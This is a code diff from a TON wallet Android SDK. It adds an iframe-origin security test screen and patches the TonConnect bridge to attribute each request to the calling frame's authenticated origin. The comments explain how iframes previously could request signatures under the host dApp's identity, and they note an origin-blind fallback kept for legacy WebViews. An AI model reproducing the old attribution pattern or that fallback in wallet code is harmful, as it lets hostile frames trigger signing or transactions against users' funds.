IframeSecLogEntry( + frameLabel = json.optString("frameLabel", "?"), + action = json.optString("action", "?"), + claimedOrigin = json.optString("claimedOrigin", "?"), + actualOrigin = sourceOrigin?.toString().orEmpty().ifEmpty { "null (opaque)" }, + isMainFrame = isMainFrame, + payload = json.optString("payload", ""), + ), + ) + } + } + } + + webView = this + loadUrl(RealBridgeIframeCase.DAPP_URL) + } + }, + ) + + HorizontalDivider() + RealBridgeLogPanel(log) + } +} + +@Composable +private fun RealBridgeLogPanel(log: IframeSecLog) { + val listState = rememberLazyListState() + LaunchedEffect(log.entries.size) { + if (log.entries.isNotEmpty()) listState.animateScrollToItem(log.entries.size - 1) + } + Column(modifier = Modifier.fillMaxWidth().height(240.dp)) { + Row( + modifier = Modifier + .fillMaxWidth() + .background(TonTheme.colors.bgSecondary) + .padding(horizontal = 12.dp, vertical = 6.dp), + verticalAlignment = Alignment.CenterVertically, + ) { + Text( + text = "Log (${log.entries.size}) · orange = injected frame · blue = SDK event", + style = TonTheme.typography.caption1.style, + color = TonTheme.colors.textSecondary, + modifier = Modifier.weight(1f), + ) + TextButton(onClick = { log.clear() }, enabled = log.entries.isNotEmpty()) { Text("Clear") } + } + LazyColumn( + state = listState, + modifier = Modifier.fillMaxSize(), + contentPadding = PaddingValues(12.dp), + verticalArrangement = Arrangement.spacedBy(4.dp), + ) { + items(log.entries, key = { it.id }) { entry -> LogRow(entry) } + } + } +} + +private fun describeEvent(event: TONWalletKitEvent): String = when (event) { + is TONWalletKitEvent.ConnectRequest -> "→ SDK connectRequest" + is TONWalletKitEvent.SignDataRequest -> "→ SDK signDataRequest — SHEET SHOULD APPEAR" + is TONWalletKitEvent.SignMessageRequest -> "→ SDK signMessageRequest" + is TONWalletKitEvent.SendTransactionRequest -> "→ SDK transactionRequest" + is TONWalletKitEvent.Disconnect -> "→ SDK disconnect" + is TONWalletKitEvent.RequestError -> "→ SDK requestError" +} + +private fun eventDomain(event: TONWalletKitEvent): String = when (event) { + is TONWalletKitEvent.ConnectRequest -> event.request.event.domain ?: "(nil)" + is TONWalletKitEvent.SignDataRequest -> event.request.event.domain ?: "(nil)" + is TONWalletKitEvent.SignMessageRequest -> event.request.event.domain ?: "(nil)" + is TONWalletKitEvent.SendTransactionRequest -> event.request.event.domain ?: "(nil)" + is TONWalletKitEvent.Disconnect -> event.event.domain ?: "(nil)" + is TONWalletKitEvent.RequestError -> "—" +} + +private fun eventPayload(event: TONWalletKitEvent): String = when (event) { + is TONWalletKitEvent.SignDataRequest -> "tabId=${event.request.event.tabId ?: "nil"}" + is TONWalletKitEvent.SendTransactionRequest -> "tabId=${event.request.event.tabId ?: "nil"}" + is TONWalletKitEvent.SignMessageRequest -> "tabId=${event.request.event.tabId ?: "nil"}" + else -> "" +} + +private val timeFormat = SimpleDateFormat("HH:mm:ss.SSS", Locale.US) + +@Composable +private fun LogRow(entry: IframeSecLogEntry) { + val claimedMatches = entry.claimedOrigin == entry.actualOrigin + val badgeColor = when { + entry.isNative -> Color(0xFF2D7DF6) + claimedMatches -> Color(0xFF2EA043) + else -> Color(0xFFE5484D) + } + Column( + modifier = Modifier + .fillMaxWidth() + .clip(RoundedCornerShape(6.dp)) + .background(if (entry.isNative) Color(0x142D7DF6) else TonTheme.colors.bgPrimary) + .border(0.5.dp, Color(0x33808080), RoundedCornerShape(6.dp)) + .padding(8.dp), + verticalArrangement = Arrangement.spacedBy(3.dp), + ) { + Row(verticalAlignment = Alignment.CenterVertically) { + Box( + modifier = Modifier + .clip(RoundedCornerShape(4.dp)) + .background(badgeColor.copy(alpha = 0.18f)) + .padding(horizontal = 6.dp, vertical = 2.dp), + ) { + Text(entry.frameLabel, fontSize = 10.sp, fontWeight = FontWeight.Bold, color = badgeColor) + } + Text( + text = " ${entry.action}", + fontSize = 11.sp, + fontFamily = FontFamily.Monospace, + color = TonTheme.colors.textPrimary, + modifier = Modifier.weight(1f), + ) + if (!entry.isMainFrame && !entry.isNative) { + Box( + modifier = Modifier + .clip(RoundedCornerShape(3.dp)) + .background(Color(0x33FF9800)) + .padding(horizontal = 4.dp, vertical = 1.dp), + ) { + Text("iframe", fontSize = 9.sp, color = Color(0xFFE08600)) + } + } + Text( + text = timeFormat.format(Date(entry.timestamp)), + fontSize = 10.sp, + fontFamily = FontFamily.Monospace, + color = TonTheme.colors.textTertiary, + ) + } + OriginRow("real:", entry.actualOrigin, TonTheme.colors.textPrimary) + if (!entry.isNative) { + OriginRow("claimed:", entry.claimedOrigin, if (claimedMatches) TonTheme.colors.textPrimary else Color(0xFFE5484D)) + } + if (entry.payload.isNotEmpty()) { + Text( + text = entry.payload, + fontSize = 10.sp, + fontFamily = FontFamily.Monospace, + color = TonTheme.colors.textSecondary, + ) + } + } +} + +@Composable +private fun OriginRow(title: String, value: String, color: Color) { + Row { + Text(title, fontSize = 10.sp, color = TonTheme.colors.textTertiary) + Text(" $value", fontSize = 10.sp, fontFamily = FontFamily.Monospace, color = color) + } +} diff --git a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt index dfa6a59d..24782432 100644 --- a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt +++ b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt @@ -54,6 +54,7 @@ import kotlinx.serialization.encodeToString import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.buildJsonObject +import kotlinx.serialization.json.jsonObject import kotlinx.serialization.json.put import java.lang.ref.WeakReference import java.util.concurrent.ConcurrentHashMap @@ -84,6 +85,9 @@ internal class TonConnectInjector( private const val ERROR_WALLET_ENGINE_NOT_INITIALIZED = "Wallet engine not initialized" private const val ERROR_FAILED_PROCESS_REQUEST = "Failed to process request" private const val ERROR_CODE_INTERNAL = 500 + private const val ERROR_CODE_FORBIDDEN = 403 + private const val FORBIDDEN_IFRAME_MESSAGE = + "TonConnect request rejected: the iframe has an opaque origin and is not part of a connected dApp" private const val METHOD_SEND = "send" // Registry of active WebViews for JS Bridge sessions @@ -197,15 +201,38 @@ internal class TonConnectInjector( */ @SuppressLint("SetJavaScriptEnabled") override fun setup() { - // Add JavaScript interface for bridge communication + // Bridge communication intake. + // + // SECURITY: prefer WebViewCompat.addWebMessageListener over addJavascriptInterface. + // A @JavascriptInterface method carries NO information about which frame called it, + // so the bridge previously attributed every request to webView.url (the main-frame + // URL) — letting any embedded iframe issue connect/sign/transaction calls under the + // host dApp's identity. A WebMessageListener instead delivers the platform- + // authenticated sourceOrigin and isMainFrame for the calling frame, which JS cannot + // forge. Registering it under the same JS object name the bundle already uses + // (window..postMessage) makes it a drop-in for request intake; + // responses are still delivered via postWebMessage and are unaffected. bridgeInterface = BridgeInterface( - onMessage = { json, type -> handleBridgeMessage(json, type) }, + onMessage = { json, type -> handleBridgeMessage(json, type, sourceOrigin = null, isMainFrame = true) }, onError = { error -> Logger.e(TAG, "Bridge error: $error") }, ) - webView.addJavascriptInterface( - bridgeInterface, - BrowserConstants.JS_INTERFACE_NAME, - ) + + if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { + WebViewCompat.addWebMessageListener( + webView, + BrowserConstants.JS_INTERFACE_NAME, + setOf("*"), + ) { _, message, sourceOrigin, isMainFrame, _ -> + handleSecureBridgeMessage(message.data, sourceOrigin.toString(), isMainFrame) + } + Logger.d(TAG, "Bridge intake via WebMessageListener (per-frame origin enforced)") + } else { + // Legacy WebView without per-frame origin support: fall back to the origin-blind + // JS interface. Frame identity is unavailable here, so requests are treated as + // main-frame (best effort) — these old WebView versions are increasingly rare. + Logger.w(TAG, "WEB_MESSAGE_LISTENER unsupported — per-frame origin enforcement unavailable") + webView.addJavascriptInterface(bridgeInterface, BrowserConstants.JS_INTERFACE_NAME) + } // Register WebView with existing sessions (important when app is reopened) // This ensures disconnect and other events work after the WebView is recreated @@ -240,10 +267,23 @@ internal class TonConnectInjector( val config = (walletKit as? TONWalletKit)?.engine?.getConfiguration() val injectOptions = buildInjectOptions(config) - // Create initialization script that calls window.injectWalletKit(options) + // Create initialization script that calls window.injectWalletKit(options). + // The WebMessageListener object (window.) may attach a + // moment after this document-start script runs, so wait briefly for it before + // initialising the bridge — otherwise the bundle's transport would not find it. val fullScript = """ $injectionScript - window.injectWalletKit($injectOptions); + (function () { + var init = function () { window.injectWalletKit($injectOptions); }; + if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined') { init(); return; } + var tries = 0; + var timer = setInterval(function () { + if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined' || tries++ > 50) { + clearInterval(timer); + init(); + } + }, 2); + })(); """.trimIndent() // Allow all origins (*) since this is a wallet browser that loads any dApp @@ -443,16 +483,32 @@ internal class TonConnectInjector( pendingRequests.clear() } - private fun handleBridgeMessage(json: JsonObject, type: String) { + private fun handleBridgeMessage(json: JsonObject, type: String, sourceOrigin: String?, isMainFrame: Boolean) { scope.launch { when (type) { - BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json) + BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json, sourceOrigin, isMainFrame) else -> Logger.w(TAG, "Unknown message type: $type") } } } - private fun handleBridgeRequest(json: JsonObject) { + /** + * Entry point for the WebMessageListener transport: carries the platform-authenticated + * [sourceOrigin] and [isMainFrame] for the frame that posted the message. + */ + private fun handleSecureBridgeMessage(message: String?, sourceOrigin: String?, isMainFrame: Boolean) { + val raw = message ?: return + val json = try { + Json.parseToJsonElement(raw).jsonObject + } catch (e: Exception) { + Logger.e(TAG, "Failed to parse secure bridge message", e) + return + } + val type = json.optString(BrowserConstants.KEY_TYPE) + handleBridgeMessage(json, type, sourceOrigin, isMainFrame) + } + + private fun handleBridgeRequest(json: JsonObject, sourceOrigin: String?, isMainFrame: Boolean) { val frameId = json.optString(BrowserConstants.KEY_FRAME_ID, BrowserConstants.DEFAULT_FRAME_ID) val messageId = json.optString(BrowserConstants.KEY_MESSAGE_ID) val method = json.optString(BrowserConstants.KEY_METHOD, BrowserConstants.DEFAULT_METHOD) @@ -462,6 +518,33 @@ internal class TonConnectInjector( return } + // SECURITY (per-origin authorization — same model as iOS): a request from ANY frame + // is allowed, but it is attributed to the platform-authenticated origin of the frame + // that actually sent it (sourceOrigin) — never to webView.url, which is the main-frame + // URL for every frame. The wallet's session lookup is keyed by domain, so a frame + // whose origin matches a connected session (the dApp itself, or a same-origin iframe + // that is part of it) is authorized, while a cross-origin iframe finds no session for + // its own origin and is rejected by the wallet. + val resolvedOrigin: String? = if (isMainFrame) { + // Main frame: prefer the authenticated origin; fall back to the WebView URL on + // legacy WebViews where sourceOrigin is unavailable. + sourceOrigin?.takeIf { it.isNotBlank() && it != "null" } ?: webView.url ?: currentUrl + } else { + // Sub-frame: use ONLY its own authenticated origin. Never fall back to webView.url + // (that would let an iframe inherit the host dApp's identity). + sourceOrigin?.takeIf { it.isNotBlank() && it != "null" } + } + + // An opaque-origin sub-frame (data:/sandboxed, or srcdoc with no inherited origin) + // can never belong to a connected session — reject it up front instead of letting it + // fall through to the main-frame URL or the "internal-browser" domain. + if (!isMainFrame && resolvedOrigin == null) { + Logger.w(TAG, "Blocked TonConnect '$method' from opaque-origin sub-frame (frameId=$frameId)") + pendingRequests[messageId] = PendingRequest(frameId, messageId, method, System.currentTimeMillis()) + sendResponse(messageId, errorResponse(FORBIDDEN_IFRAME_MESSAGE, ERROR_CODE_FORBIDDEN)) + return + } + // Store pending request with frame info val pending = PendingRequest( frameId = frameId, @@ -475,17 +558,7 @@ internal class TonConnectInjector( val engine = engine if (engine == null) { Logger.e(TAG, "WalletKit engine not available!") - // Send error response back to dApp - val errorResponse = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, ERROR_WALLET_ENGINE_NOT_INITIALIZED) - put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) - }, - ) - } - sendResponse(messageId, errorResponse) + sendResponse(messageId, errorResponse(ERROR_WALLET_ENGINE_NOT_INITIALIZED, ERROR_CODE_INTERNAL)) return } @@ -512,9 +585,11 @@ internal class TonConnectInjector( // string so the engine can parse it back per the TonConnect method contract. val paramsJson: String? = json[ResponseConstants.KEY_PARAMS]?.toString() - // Use WebView's current URL (the main frame URL) instead of tracking it manually - // This is more reliable than trying to detect page vs resource loads - val dAppUrl = webView.url ?: currentUrl + // Domain for this request = the per-frame origin resolved above. For the main + // frame this is its authenticated origin (or webView.url on legacy WebViews); + // for a sub-frame it is the iframe's own origin, so the wallet's domain-keyed + // session lookup decides whether that origin is authorized. + val dAppUrl = resolvedOrigin ?: webView.url ?: currentUrl engine.handleTonConnectRequest( messageId = messageId, @@ -528,17 +603,7 @@ internal class TonConnectInjector( ) } catch (e: Exception) { Logger.e(TAG, "Failed to forward request to WalletKit engine", e) - // Send error response back to dApp - val errorResponse = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, e.message ?: ERROR_FAILED_PROCESS_REQUEST) - put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) - }, - ) - } - sendResponse(messageId, errorResponse) + sendResponse(messageId, errorResponse(e.message ?: ERROR_FAILED_PROCESS_REQUEST, ERROR_CODE_INTERNAL)) } } } @@ -563,6 +628,16 @@ internal class TonConnectInjector( ) } + private fun errorResponse(message: String, code: Int): JsonObject = buildJsonObject { + put( + ResponseConstants.KEY_ERROR, + buildJsonObject { + put(ResponseConstants.KEY_MESSAGE, message) + put(ResponseConstants.KEY_CODE, code) + }, + ) + } + @Serializable private data class InjectOptions( val isWalletBrowser: Boolean,